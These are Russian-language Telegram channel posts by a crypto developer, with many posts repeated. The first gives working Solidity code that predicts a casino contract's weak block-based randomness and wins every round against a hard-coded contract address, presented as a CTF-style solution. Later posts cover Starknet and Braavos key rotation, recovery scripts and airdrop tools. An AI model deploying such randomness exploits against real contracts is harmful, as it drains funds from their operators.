Угадываем «случайное число»
Пост про казино набрал 100 реакций, это рекорд для моего канала, спасибо!
Как и обещал, рассказываю решение.
Смотрим текст контракта
Нас интересует функция randomChoice:
видим, что она зависит от номера блока
Для того, чтобы контролировать эти значения, есть один трюк, нужно вызвать метод play не напрямую, а из другого контракта, получится, что в этом контракте-обёртке при вызове всё будет происходить в том же самом блоке и мы точно будем знать номер блока и время блока и можем предугадать «случайное число» в вызываемом контракте.
Вот код этого контракта:
Теперь задеплоив этот контракт, например через Remix IDE, можно вызывать метод play у контракта Winner, которы вызовет метод play у контракта казино и выиграет.
Откуда я узнал про этот трюк?
Есть несколько CTF по безопасности смарт-контрактов, я их проходил некоторое время назад:
* https://capturetheether.com/ — к сожалению пройти сейчас уже нельзя, так как все задания проводились в тестовой сети Ropsten, которая сейчас не работает, но можно почитать задания и найти решения квестов
* https://ethernaut.openzeppelin.com/ — это работает
Пост про казино набрал 100 реакций, это рекорд для моего канала, спасибо!
Как и обещал, рассказываю решение.
Смотрим текст контракта
Нас интересует функция randomChoice:
function randomChoice() private view returns (uint) {
return uint(Choice(uint(keccak256(abi.encodePacked(block.timestamp, blockhash(block.number - 1)))) % 3 + 1));
}видим, что она зависит от номера блока
block.number и времени создания блока block.timestampДля того, чтобы контролировать эти значения, есть один трюк, нужно вызвать метод play не напрямую, а из другого контракта, получится, что в этом контракте-обёртке при вызове всё будет происходить в том же самом блоке и мы точно будем знать номер блока и время блока и можем предугадать «случайное число» в вызываемом контракте.
Вот код этого контракта:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
// интерфейс контракта казино
interface PSC {
function play(uint _choice, uint _bet) external payable;
}
contract Winner {
address owner;
enum Choice { None, Rock, Paper, Scissors }
constructor() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner, "Only owner can call this function");
_;
}
function play() public payable {
// адрес контракта казино
PSC casino = PSC(0xdc1F526FFaC607d9680A0d1290baCe2b539d82Ab);
// копируем алгоритм получения числа из контракта казино, именно это число казино сгенерирует, так как код выполнится в том же блоке
Choice casinoChoice = Choice(uint(keccak256(abi.encodePacked(block.timestamp, blockhash(block.number - 1)))) % 3 + 1);
uint choice = 0;
// тут вычисляем решение, которое перебьёт выбор казино
if (casinoChoice == Choice.Rock) {
choice = uint(Choice.Paper);
} else if (casinoChoice == Choice.Paper) {
choice = uint(Choice.Scissors);
} else if (casinoChoice == Choice.Scissors) {
choice = uint(Choice.Rock);
}
// вызываем контракт казино и передаём туда выигрышное значение
casino.play{ value: 1000000000000000 }(choice, 1000000000000000);
}
// не забываем функцию вывода денег из нашего контракта
function withdraw(uint amount) public onlyOwner {
require(address(this).balance >= amount, "Insufficient balance for withdrawal");
payable(owner).transfer(amount);
}
receive() external payable {
}
}
Теперь задеплоив этот контракт, например через Remix IDE, можно вызывать метод play у контракта Winner, которы вызовет метод play у контракта казино и выиграет.
Откуда я узнал про этот трюк?
Есть несколько CTF по безопасности смарт-контрактов, я их проходил некоторое время назад:
* https://capturetheether.com/ — к сожалению пройти сейчас уже нельзя, так как все задания проводились в тестовой сети Ropsten, которая сейчас не работает, но можно почитать задания и найти решения квестов
* https://ethernaut.openzeppelin.com/ — это работает
👍36
Хард скилы, завод 1/2
Знакомые и парни из нашего DAO меня периодически спрашивают советы по хард скилам.
Не смотря на то, что в ближайшей перспективе маячат крупные дропы, затяжная медвежка наводит на мысли о том, что неплохо было бы иметь навыки для булрана или возможность в любой момент устроиться на завод.
Немного расскажу про свой случай, я не фултайм в крипте, регуляный доход я получаю на заводе, все активности в крипте я делаю параллельно, у меня 2 раза были мысли бросить завод, когда я зарабатывал в крипте крупные суммы, но всегда за ними следовал обвал рынка 😁
Конкретно мой случай с заводом меня устраивает тем, что я могу работать из дома и многие задачи я делаю на автомате, что не отнимает у меня много ментальных сил.
По поводу хард скилов. Тут нужно определиться, в какой из областей вы хотите развиваться. Программирование, как самое первое, что приходит на ум, не всем подходит. Чтобы развиваться в этой сфере, оно должно нравиться и доставлять удовольствие. Иначе вы просто не сможете найти мотивацию для дальнейшего обучения.
Есть другие области в it, которые могут больше подойти, например аналитик (если нравится анализировать данные, копаться в транзакциях, находить закономерности), сисадмин/девопс (если нравится ставить ноды)
У Яндекса есть бесплатный курс «Старт в IT» https://practicum.yandex.ru/start-in-it/ который может быть не бесполезным и поможет сориентироваться.
продолжение в следующем посте
Знакомые и парни из нашего DAO меня периодически спрашивают советы по хард скилам.
Не смотря на то, что в ближайшей перспективе маячат крупные дропы, затяжная медвежка наводит на мысли о том, что неплохо было бы иметь навыки для булрана или возможность в любой момент устроиться на завод.
Немного расскажу про свой случай, я не фултайм в крипте, регуляный доход я получаю на заводе, все активности в крипте я делаю параллельно, у меня 2 раза были мысли бросить завод, когда я зарабатывал в крипте крупные суммы, но всегда за ними следовал обвал рынка 😁
Конкретно мой случай с заводом меня устраивает тем, что я могу работать из дома и многие задачи я делаю на автомате, что не отнимает у меня много ментальных сил.
По поводу хард скилов. Тут нужно определиться, в какой из областей вы хотите развиваться. Программирование, как самое первое, что приходит на ум, не всем подходит. Чтобы развиваться в этой сфере, оно должно нравиться и доставлять удовольствие. Иначе вы просто не сможете найти мотивацию для дальнейшего обучения.
Есть другие области в it, которые могут больше подойти, например аналитик (если нравится анализировать данные, копаться в транзакциях, находить закономерности), сисадмин/девопс (если нравится ставить ноды)
У Яндекса есть бесплатный курс «Старт в IT» https://practicum.yandex.ru/start-in-it/ который может быть не бесполезным и поможет сориентироваться.
продолжение в следующем посте
👍18❤2👎1😁1
Хард скилы, завод 2/2
Возвращаясь к программированию. Если решили заняться именно им, то на старте выбор не большой: JavaScript (TypeScript) или Python
Плюсы js: проще реверс-инженирить бандл сайта, если нужно понять формирования какой-нибудь хитрой подписи, которая является аргументом в вызове смарт-контракта. Весь фронтенд сайтов делается только на js. Несколько очень хороших библиотек для работы с EVM: Web3.js, Ethers, Viem
Минусы js: Язык местами очень странный
Плюсы python: огромное количество полезных библиотек, по настоящему универсальный язык, который используют во всех областях и в больших данных и в машинном обучении и в статистике
Минусы python: не все блокчейны выпускают на старте библиотеки для работы с ними на python, чаще выпускают библиотеку для взаимодействия на js
С чего начать обучение
Первое, это учебные материалы — база. Для js это https://learn.javanoscript.ru Больше в принципе ничего и не нужно, если не собираетесь писать что-то для браузера, можно скипнуть раздел про DOM.
Для питон знакомые рекомендуют https://www.codecademy.com/catalog/language/python
Второе, иметь перед глазами примеры кода для подражания, это должны быть очень хорошие скрипты. Сейчас на рынке огромное число бесплатных публичных скриптов, но проблема в том, что написаны они не очень хорошо. Среди десятков авторов, которых я смотрел, и у которых действительно очень хороший стиль, достойных для подражания не много:
Python
https://github.com/czbag — эталонный код, всё понятно, аккуратно, структурировано, декораторы к месту, ООП уместно использовано, там где оно нужно
JS/TS:
https://github.com/munris-vlad/base
https://github.com/humansimulacrum/aptos-simulator
Пост будет дополняться хорошими авторами и учебными материалами.
Возвращаясь к программированию. Если решили заняться именно им, то на старте выбор не большой: JavaScript (TypeScript) или Python
Плюсы js: проще реверс-инженирить бандл сайта, если нужно понять формирования какой-нибудь хитрой подписи, которая является аргументом в вызове смарт-контракта. Весь фронтенд сайтов делается только на js. Несколько очень хороших библиотек для работы с EVM: Web3.js, Ethers, Viem
Минусы js: Язык местами очень странный
Плюсы python: огромное количество полезных библиотек, по настоящему универсальный язык, который используют во всех областях и в больших данных и в машинном обучении и в статистике
Минусы python: не все блокчейны выпускают на старте библиотеки для работы с ними на python, чаще выпускают библиотеку для взаимодействия на js
С чего начать обучение
Первое, это учебные материалы — база. Для js это https://learn.javanoscript.ru Больше в принципе ничего и не нужно, если не собираетесь писать что-то для браузера, можно скипнуть раздел про DOM.
Для питон знакомые рекомендуют https://www.codecademy.com/catalog/language/python
Второе, иметь перед глазами примеры кода для подражания, это должны быть очень хорошие скрипты. Сейчас на рынке огромное число бесплатных публичных скриптов, но проблема в том, что написаны они не очень хорошо. Среди десятков авторов, которых я смотрел, и у которых действительно очень хороший стиль, достойных для подражания не много:
Python
https://github.com/czbag — эталонный код, всё понятно, аккуратно, структурировано, декораторы к месту, ООП уместно использовано, там где оно нужно
JS/TS:
https://github.com/munris-vlad/base
https://github.com/humansimulacrum/aptos-simulator
Пост будет дополняться хорошими авторами и учебными материалами.
learn.javanoscript.ru
Современный учебник JavaScript
Современный учебник JavaScript, начиная с основ, включающий в себя много тонкостей и фишек JavaScript/DOM.
👍51🔥14❤6
Как узнать адрес старкнет аккаунта зная его приватник?
После написания статей про смену приватников Starknet Argent X и Aptos ко мне начали обращаться люди, у которых взломали компы. Часто в таких случаях получается поменять приватник и сохранить аккаунты у владельцев.
С тех пор я нашёл способ также защитить Braavos аккаунт, но об этом скоро будет отдельная статья.
Я столкнулся с такой проблемой, есть приватник Braavos, пытаюсь вывести из приватника его адрес скриптом, стандартным способом, как это делают большинство паблик скриптов для старкнета и получаю не задеплоенный адрес с нулевым балансом. Хозяин приватника говорит, «но у меня другой адрес, вот он и на нём есть несколько десятков транзакций и разные токены на балансе», аккаунт старый, создан в первой половине 2022 года.
То есть, как и Argent X, Braavos менял способ выведения адресов.
Распаковал код расширения Braavos и начал смотреть, есть ли какие-нибудь намёки на альтернативные способы выведения адресов.
Нашёл ссылку на очень полезный сервис для внутреннего использования Бравоса.
Этому сервису можно отдать публичный ключ, а он покажет адрес, который связан с этим ключом.
Причём это будет работать, как для аккаунтов Бравоса, так и для аккаунтов Аргента, даже если этим аккаунтам поменяли приватник!
https://recovery.braavos.app/pubkey-to-address/?network=mainnet-alpha&pubkey=0x062a5dc0817dfc150882ca787b17d5675845e558c3954949d45fe62c7cca5eb9
Напомню, что публичный ключ, выводится из приватника всегда одним и тем же способом, в отличии от адреса, а вот получения адреса эта логика у всех типов аккаунтов отличается.
Вот так можно получить публичный ключ из приватного на python:
или на js:
Как Бравос смогли сделать такой сервис, откуда они берут данные? Собрали из блокчейна! Если взять все адреса старкнета и пытаться вызвать у них методы
После написания статей про смену приватников Starknet Argent X и Aptos ко мне начали обращаться люди, у которых взломали компы. Часто в таких случаях получается поменять приватник и сохранить аккаунты у владельцев.
С тех пор я нашёл способ также защитить Braavos аккаунт, но об этом скоро будет отдельная статья.
Я столкнулся с такой проблемой, есть приватник Braavos, пытаюсь вывести из приватника его адрес скриптом, стандартным способом, как это делают большинство паблик скриптов для старкнета и получаю не задеплоенный адрес с нулевым балансом. Хозяин приватника говорит, «но у меня другой адрес, вот он и на нём есть несколько десятков транзакций и разные токены на балансе», аккаунт старый, создан в первой половине 2022 года.
То есть, как и Argent X, Braavos менял способ выведения адресов.
Распаковал код расширения Braavos и начал смотреть, есть ли какие-нибудь намёки на альтернативные способы выведения адресов.
Нашёл ссылку на очень полезный сервис для внутреннего использования Бравоса.
Этому сервису можно отдать публичный ключ, а он покажет адрес, который связан с этим ключом.
Причём это будет работать, как для аккаунтов Бравоса, так и для аккаунтов Аргента, даже если этим аккаунтам поменяли приватник!
https://recovery.braavos.app/pubkey-to-address/?network=mainnet-alpha&pubkey=0x062a5dc0817dfc150882ca787b17d5675845e558c3954949d45fe62c7cca5eb9
Напомню, что публичный ключ, выводится из приватника всегда одним и тем же способом, в отличии от адреса, а вот получения адреса эта логика у всех типов аккаунтов отличается.
Вот так можно получить публичный ключ из приватного на python:
from starknet_py.net.signer.stark_curve_signer import KeyPair
key_pair = KeyPair.from_private_key("0xPRIVATE_KEY")
print(hex(key_pair.public_key))
или на js:
import { ec } from "starknet";
const publicKey = ec.starkCurve.getStarkKey("0xPRIVATE_KEY");
console.log("0x" + BigInt(publicKey).toString(16).padStart(64, "0"));
Как Бравос смогли сделать такой сервис, откуда они берут данные? Собрали из блокчейна! Если взять все адреса старкнета и пытаться вызвать у них методы
getPublicKey, get_owner, getSigner то можно собрать такую базу и по ней искать в обратном порядке.👍35
Как поменять приватник в Braavos
Продолжаем изучать невероятные возможности абстракции аккаунтов в Старкнете.
Статья о новых способах защиты и скама аккаунтов Braavos.
По ссылке технические детали и небольшое расследование угона аккаунтов.
Плез, если будите шарить пост, шарьте пост в телеге, а не ссылку на телеграф, очень хочу набрать 1000 сабов к новому году 🤩
https://telegra.ph/Kak-pomenyat-privatnik-v-Braavos-12-02
Продолжаем изучать невероятные возможности абстракции аккаунтов в Старкнете.
Статья о новых способах защиты и скама аккаунтов Braavos.
По ссылке технические детали и небольшое расследование угона аккаунтов.
Плез, если будите шарить пост, шарьте пост в телеге, а не ссылку на телеграф, очень хочу набрать 1000 сабов к новому году 🤩
https://telegra.ph/Kak-pomenyat-privatnik-v-Braavos-12-02
🔥48👍4
Итак, вы поменяли приватник в аккаунтах Argent X, что теперь с ними делать?
В браузерном кошельке аккаунт больше не работает.
Можно работать софтом, но как? Ни один открытый софт с ходу не работает с такими акичами.
Так как меня несколько человек спрашивали про это, решил написать пост.
Сейчас я вам расскажу, как сделать минимальные правки в софте от czbag - https://github.com/czbag/starknet чтобы можно было использовать такие аккаунты.
В корне проекта создаём файл
здесь перечисляем все ваши пары приватник-адрес.
В файле
Всё, теперь адреса не выводятся из приватника, а берутся из словаря.
Я надеюсь czbag добавит с свой прекрасный софт клейм SТRK, когда придёт время. Если не добавит, найдём другой способ и я расскажу вам о нём.
В браузерном кошельке аккаунт больше не работает.
Можно работать софтом, но как? Ни один открытый софт с ходу не работает с такими акичами.
Так как меня несколько человек спрашивали про это, решил написать пост.
Сейчас я вам расскажу, как сделать минимальные правки в софте от czbag - https://github.com/czbag/starknet чтобы можно было использовать такие аккаунты.
В корне проекта создаём файл
argent.py вот с таким содержаниемARGENT = {
"0xНОВЫЙ_ПРИВАТНИК1": "0xАДРЕС1",
"0xНОВЫЙ_ПРИВАТНИК2": "0xАДРЕС2",
"0xНОВЫЙ_ПРИВАТНИК3": "0xАДРЕС3",
}
здесь перечисляем все ваши пары приватник-адрес.
В файле
modules/starknet.py подключаем модуль argent и меняем метод _get_argent_address вот так, лишние строки закомментированы:from argent import ARGENT
#...
def _get_argent_address(self) -> int:
address = ARGENT[self.private_key]
return int(address, 16)
# if CAIRO_VERSION == 0:
# selector = get_selector_from_name("initialize")
#
# calldata = [self.key_pair.public_key, 0]
#
# address = compute_address(
# class_hash=ARGENTX_PROXY_CLASS_HASH,
# constructor_calldata=[ARGENTX_IMPLEMENTATION_CLASS_HASH, selector, len(calldata), *calldata],
# salt=self.key_pair.public_key,
# )
# print(address, type(address))
# return address
# else:
# address = compute_address(
# class_hash=ARGENTX_IMPLEMENTATION_CLASS_HASH_NEW,
# constructor_calldata=[self.key_pair.public_key, 0],
# salt=self.key_pair.public_key,
# )
# print(address, type(address))
# return address
Всё, теперь адреса не выводятся из приватника, а берутся из словаря.
Я надеюсь czbag добавит с свой прекрасный софт клейм SТRK, когда придёт время. Если не добавит, найдём другой способ и я расскажу вам о нём.
👍36❤2🔥2
Лёгкий способ поменять приватник на аккаунте Braavos
В предыдущей статье про Бравос я рассказывал про случай, как скамер развёртывал собственный модифицированный контракт Бравоса и менял приватник функцией
Давайте ещё раз посмотрим на скриншот.
Звучит сложно, нужно скачать код контракта, пропатчить его, задеплоить. Но на самом деле, аккаунты Бравоса работают используя паттерн прокси, то есть деплоится имплементация контракта один раз, а дальше все аккаунты ссылаются на эту имплементацию. То есть мы можем взять адрес задеплоенного скаммером контракта из угнанного аккаунта Ильдара –
и просто передать этот адрес в вызов
получится всего 2 транзакции для смены приватника. Кроме этого я бы добавил ещё один
Единственный минус в этом решении, это то, что аккаунты по сути связываются так как все ссылаются на имплементацию скамера, скорее всего именно по этой причине он деплоит новый контракт для каждого угнанного аккаунта. Но если снепшот уже был, это не проблема. В следующей статье я всё таки выложу код для добавления Hardware Signer'а, это более безопасный метод.
Вот пример моего тестового аккаунта, где я поменял приватник: https://voyager.online/contract/0x01f752facbf0b8a4577bb45436fa396423bf972b5dbfef57fef9e20a9f554498
Ссылка на репозиторий с кодом: https://github.com/raznorabochiy/braavos-set-public-key
В предыдущей статье про Бравос я рассказывал про случай, как скамер развёртывал собственный модифицированный контракт Бравоса и менял приватник функцией
setPublicKey. Давайте ещё раз посмотрим на скриншот.
DECLARE – это деплой контракта, upgrade – обновление кошелька на этот контракт, setPublicKey – смена приватника.Звучит сложно, нужно скачать код контракта, пропатчить его, задеплоить. Но на самом деле, аккаунты Бравоса работают используя паттерн прокси, то есть деплоится имплементация контракта один раз, а дальше все аккаунты ссылаются на эту имплементацию. То есть мы можем взять адрес задеплоенного скаммером контракта из угнанного аккаунта Ильдара –
0x02b0d2bf21052d789f9dc24aa401f8360ccc6971be8149851a36ec53554bcdbeи просто передать этот адрес в вызов
upgrade(0x02b0d2bf21052d789f9dc24aa401f8360ccc6971be8149851a36ec53554bcdbe), а дальше вызвать setPublicKeyполучится всего 2 транзакции для смены приватника. Кроме этого я бы добавил ещё один
upgrade(0x05dec330eebf36c8672b60db4a718d44762d3ae6d1333e553197acb47ee5a062) – это возвращаем оригинальную имплементацию Браавос версии 000.000.011, потому что мы точно не знаем что именно ещё дописал в контракт скамер и может быть там есть бекдор, маловероятно, но возможно.Единственный минус в этом решении, это то, что аккаунты по сути связываются так как все ссылаются на имплементацию скамера, скорее всего именно по этой причине он деплоит новый контракт для каждого угнанного аккаунта. Но если снепшот уже был, это не проблема. В следующей статье я всё таки выложу код для добавления Hardware Signer'а, это более безопасный метод.
Вот пример моего тестового аккаунта, где я поменял приватник: https://voyager.online/contract/0x01f752facbf0b8a4577bb45436fa396423bf972b5dbfef57fef9e20a9f554498
Ссылка на репозиторий с кодом: https://github.com/raznorabochiy/braavos-set-public-key
👍19
Как добавить Hardware Signer скриптом в Braavos
В предыдущей статье я немного описал теоретическую часть.
А в этом посте решил выложить код для всех этих операций — https://github.com/raznorabochiy/braavos-hardware-signer
Сгенерированный generate_secp256r1_key приватник нужно положить в файл secp256r1-key.txt
Оригинальный приватник нужно положить в файл private-key.txt
В файл addresses.txt кладём адреса для скрипта get_deferred_remove_signer_req
Если вы добавили HW Signer, то все последующие транзакции должны быть подписаны им, как это делается можно посмотреть в скрипте cancel_deferred_remove_signer_req.py, используется класс Secp256rSigner из
В предыдущей статье я немного описал теоретическую часть.
А в этом посте решил выложить код для всех этих операций — https://github.com/raznorabochiy/braavos-hardware-signer
generate_secp256r1_key.py — скрипт для генерации приватника secp256r1add_signer.py — добавляет HW Signer в аккаунт Braavos, стандартный приватник перестаёт работатьcheck_signature.py — проверяет, может ли ваш аккаунт подписывать транзы стандартным приватникомcheck_secp256r1_signature.py — проверяет, может ли ваш аккаунт подписывать транзы HW Signer-приватникомremove_signer.py — удаляет HW Signer, делает подпись HW Signer’ом, не нужно ждать 4 дня, старый приватник опять начинает работатьremove_signer_with_etd.py — удаляет HW Signer используя старый приватник, нужно ждать 4 дня чтобы старый приватник снова начал работатьcancel_deferred_remove_signer_req.py — отменяет удаление HW Signer, нужно подписывать HW Signer’омget_deferred_remove_signer_req.py — проверяет, пытается ли кто-то сбросить HW Signer при помощи старого приватника и если это так дату до которой можно отменить это действие скриптом cancel_deferred_remove_signer_reqСгенерированный generate_secp256r1_key приватник нужно положить в файл secp256r1-key.txt
Оригинальный приватник нужно положить в файл private-key.txt
В файл addresses.txt кладём адреса для скрипта get_deferred_remove_signer_req
Если вы добавили HW Signer, то все последующие транзакции должны быть подписаны им, как это делается можно посмотреть в скрипте cancel_deferred_remove_signer_req.py, используется класс Secp256rSigner из
signer.py❤18👍4
Сегодня послушал подкаст Вишни про FACKBLOCK, как же круто Вишня всё смонтировал, я конечно человек предвзятый, но мне зашёл монтаж и формат шоу с его фирменными рофлами (кринж реклама, это отдельный вид искусства)
Было интересно послушать парней и себя со стороны (это мой первый опыт в формате интервью)
Рекомендую, на мой вкус Вишня очень высоко задрал планку крипто-подкастов.
https://www.youtube.com/watch?v=rHd6jFH9Ujg
Было интересно послушать парней и себя со стороны (это мой первый опыт в формате интервью)
Рекомендую, на мой вкус Вишня очень высоко задрал планку крипто-подкастов.
https://www.youtube.com/watch?v=rHd6jFH9Ujg
YouTube
EXALT / FACK BLOCK & 9kDA0 TEAM — ДЕТСТВО, ОБРАЗ, РОДИТЕЛИ, ДЕВУШКА, КРИПТА И КОМАНДА
Крути ретро с любой точки мира, переходи по ссылке и забирай приятный бонус - https://news.1rj.ru/str/REKTBLOCKBOT?start=4F56E25D
Этот особенный выпуск представит вам EXALT'а и его впечатляющую команду 9kDA0, благодаря которой был создан бот REKT BLOCK. В ходе интервью…
Этот особенный выпуск представит вам EXALT'а и его впечатляющую команду 9kDA0, благодаря которой был создан бот REKT BLOCK. В ходе интервью…
❤56🤡6👍4💩1
Инскрипции для Layer2-20
По просьбе парней из 9KDAO написал минтилку инскрипций https://www.layer220.io/ это экосистемный проект Orbiter и за эту активность дают поинты.
Если кто-то не делал и хочет заскочить в последний вагон: https://github.com/raznorabochiy/layer220
в настройках поменяйте, в какой сети будете минтить и в какую сеть адресована инскрипция
Цена минта примерно 50 центов.
По просьбе парней из 9KDAO написал минтилку инскрипций https://www.layer220.io/ это экосистемный проект Orbiter и за эту активность дают поинты.
Если кто-то не делал и хочет заскочить в последний вагон: https://github.com/raznorabochiy/layer220
в настройках поменяйте, в какой сети будете минтить и в какую сеть адресована инскрипция
export const FROM_NETWORK: Network = Network.Arbitrum;
export const TO_NETWORK: Network = Network.Optimism;
Цена минта примерно 50 центов.
👍29
После выхода Starknet, ко мне обратилось несколько человек с просьбой помочь склеймить дроп и я успешно помог это сделать. Так что если у вас есть например сид фраза от вашего (что принципиально) старого кошелька, которую вы вводите в свежий аргент или бравос, а он не может найти ваш старый адрес или вы поставили 2фа на скомпрометированные аккаунты, но потеряли доступ к почтам. Со всеми такими и другими кейсами я могу помочь. Единственный принципиальный момент, не пишите мне, если это аккаунты не ваши, во многих случаях я могу это распознать и сразу прекращу диалог.
Пишите @raznorabochiy прикладывая адрес аккаунта.
Пишите @raznorabochiy прикладывая адрес аккаунта.
👍29❤7🔥4
Dencun: Community Edition
Минтилка для ваших аккаунтов Linea.
Чтобы сминтить, необходимо иметь на кошельке одну из этих NFT: The Merge Regenesis, Ethereum Evolved Shanghai или The Linea Voyage.
Осталось чуть больше 2х дней
https://github.com/raznorabochiy/dencun-community-edition
Минтилка для ваших аккаунтов Linea.
Чтобы сминтить, необходимо иметь на кошельке одну из этих NFT: The Merge Regenesis, Ethereum Evolved Shanghai или The Linea Voyage.
Осталось чуть больше 2х дней
https://github.com/raznorabochiy/dencun-community-edition
❤10
Чекер для полихедры
UPD: исправил, чтобы адреса без чексуммы тоже корректно проверялись
import requests
from web3 import Web3
with open("wallets.txt", "r") as file:
wallets = [row.strip() for row in file]
def check(address: str) -> float:
addr = Web3.to_checksum_address(address)
addr_prefix = addr.lower()[2:5]
# для Ethereum
url = f"https://pub-88646eee386a4ddb840cfb05e7a8d8a5.r2.dev/eth_data/{addr_prefix}.json"
# для BSC
# url = f"https://pub-88646eee386a4ddb840cfb05e7a8d8a5.r2.dev/bsc_data/{addr_prefix}.json"
resp = requests.get(url)
try:
json = resp.json()
if json is None:
return 0
else:
return int(json[addr]['amount'], 16) / 10 ** 18
except:
return 0
total = 0
for wallet in wallets:
tokens = check(wallet)
print(f"{wallet}: {tokens}")
total += tokens
print(f"Total: {total}")
UPD: исправил, чтобы адреса без чексуммы тоже корректно проверялись
👍22❤5
Media is too big
VIEW IN TELEGRAM
Самый быстрый чекер
нативных балансов и балансов ERC-20 токенов
Сети:
* Arbitrum
* Arbitrum Nova
* Base
* Berachain Testnet
* Blast
* BNB
* Ethereum
* Fantom
* Linea
* Optimism
* Polygon
* Scroll
* zkSync
* Zora
остальные soon
Контракты токенов легко добавляются самостоятельно
Не нужны никакие прокси или API-ключи!
https://github.com/raznorabochiy/evm-checker
Не забудьте поставить звезду на гитхабе
нативных балансов и балансов ERC-20 токенов
Сети:
* Arbitrum
* Arbitrum Nova
* Base
* Berachain Testnet
* Blast
* BNB
* Ethereum
* Fantom
* Linea
* Optimism
* Polygon
* Scroll
* zkSync
* Zora
остальные soon
Контракты токенов легко добавляются самостоятельно
Не нужны никакие прокси или API-ключи!
https://github.com/raznorabochiy/evm-checker
Не забудьте поставить звезду на гитхабе
❤80👏9👍5🔥3🤡2
Мощное обновление wallets-tools
Всё переписал, изменился инетерфейс, теперь ничего не нужно писать в консоле, просто запускаешь и выбираешь необходимое действие.
Скрипт может:
* Сгенерировать новые сид-фразы
* Вычислить приватники из сид-фраз
* Вычислить адреса из сид-фраз
* Вычислить адреса из приватников
Поддерживаемые сети:
* Aleo
* Aptos
* Cosmos (много разных сетей, смотри ниже)
* EVM
* Solana
* StarkNet (ArgentX, Braavos)
* Sui
Поддерживаемые Cosmos-сети:
* Agoric
* Akash
* Axelar
* Bostrom
* Celestia
* Chihuahua
* Cosmos Hub
* Cronos POS
* dYdX
* Dymension
* Evmos
* Gitopia
* Gravity Bridge
* Injective
* IRISnet
* Juno
* Kava
* KYVE
* LikeCoin
* Mars Hub
* Neutron
* Noble
* OmniFlix
* Osmosis
* Passage
* Persistence
* Quasar
* Quicksilver
* Regen
* Saga
* Secret Network
* SEDA
* Sentinel
* Shentu
* Sifchain
* Sommelier
* Stargaze
* Stride
* Terra
* Terra Classic
* UX (umee)
https://github.com/raznorabochiy/wallets-tools
Всё переписал, изменился инетерфейс, теперь ничего не нужно писать в консоле, просто запускаешь и выбираешь необходимое действие.
Скрипт может:
* Сгенерировать новые сид-фразы
* Вычислить приватники из сид-фраз
* Вычислить адреса из сид-фраз
* Вычислить адреса из приватников
Поддерживаемые сети:
* Aleo
* Aptos
* Cosmos (много разных сетей, смотри ниже)
* EVM
* Solana
* StarkNet (ArgentX, Braavos)
* Sui
Поддерживаемые Cosmos-сети:
* Agoric
* Akash
* Axelar
* Bostrom
* Celestia
* Chihuahua
* Cosmos Hub
* Cronos POS
* dYdX
* Dymension
* Evmos
* Gitopia
* Gravity Bridge
* Injective
* IRISnet
* Juno
* Kava
* KYVE
* LikeCoin
* Mars Hub
* Neutron
* Noble
* OmniFlix
* Osmosis
* Passage
* Persistence
* Quasar
* Quicksilver
* Regen
* Saga
* Secret Network
* SEDA
* Sentinel
* Shentu
* Sifchain
* Sommelier
* Stargaze
* Stride
* Terra
* Terra Classic
* UX (umee)
https://github.com/raznorabochiy/wallets-tools
👍48🔥16❤6😁2💩1🤡1
This media is not supported in your browser
VIEW IN TELEGRAM
Base Builder Anniversary NFT
Примерно год назад я писал скрипт для приватки Факблока, этот скрипт деплоил контракт в сети Base Goerli и минтил Base Builder NFT.
Теперь владельцы той NFT могут сминтить другую NFT уже в основной сети Base.
https://www.base.org/builder-anniversary-nft
Я написал для этого скрипт, внимательно читаем описание на гитхабе, желательно использовать прокси, так как пруф запрашивается с сайта.
https://github.com/raznorabochiy/base-builder-anniversary
Примерно год назад я писал скрипт для приватки Факблока, этот скрипт деплоил контракт в сети Base Goerli и минтил Base Builder NFT.
Теперь владельцы той NFT могут сминтить другую NFT уже в основной сети Base.
https://www.base.org/builder-anniversary-nft
Я написал для этого скрипт, внимательно читаем описание на гитхабе, желательно использовать прокси, так как пруф запрашивается с сайта.
https://github.com/raznorabochiy/base-builder-anniversary
👍16❤4
Bundled ABI
Те, кто пишет скрипты, сталкивались с ситуацией, когда ABI не получается достать никаким иным способом, кроме как найти в коде сайта.
В таких случаях ABI-код изуродован js-бандлером и это не валидный JSON, а оптимизированный объект-литерал у которого булевые значения true и false заменены на !0 и !1, а ключи объекта без кавычек. Пример можно увидеть на картинке у этого поста.
Мне надоело делать лишние движения, чтобы чистить такой ABI-код, сделал инструмент:
https://bundled-abi.surge.sh/
Кроме приведения ABI к валидному JSON, он ещё умеет Human-Readable ABI который можно использовать в библиотеке ethers.
Те, кто пишет скрипты, сталкивались с ситуацией, когда ABI не получается достать никаким иным способом, кроме как найти в коде сайта.
В таких случаях ABI-код изуродован js-бандлером и это не валидный JSON, а оптимизированный объект-литерал у которого булевые значения true и false заменены на !0 и !1, а ключи объекта без кавычек. Пример можно увидеть на картинке у этого поста.
Мне надоело делать лишние движения, чтобы чистить такой ABI-код, сделал инструмент:
https://bundled-abi.surge.sh/
Кроме приведения ABI к валидному JSON, он ещё умеет Human-Readable ABI который можно использовать в библиотеке ethers.
👍49🔥3
Софт для клейма Renzo
Если вы мультили Renzo на нищей тяге через pendle в Arbitrum, то самое время заклеймить на низком газе свои жетоны REZ
https://github.com/raznorabochiy/renzo-claim
Если вы мультили Renzo на нищей тяге через pendle в Arbitrum, то самое время заклеймить на низком газе свои жетоны REZ
https://github.com/raznorabochiy/renzo-claim
👍10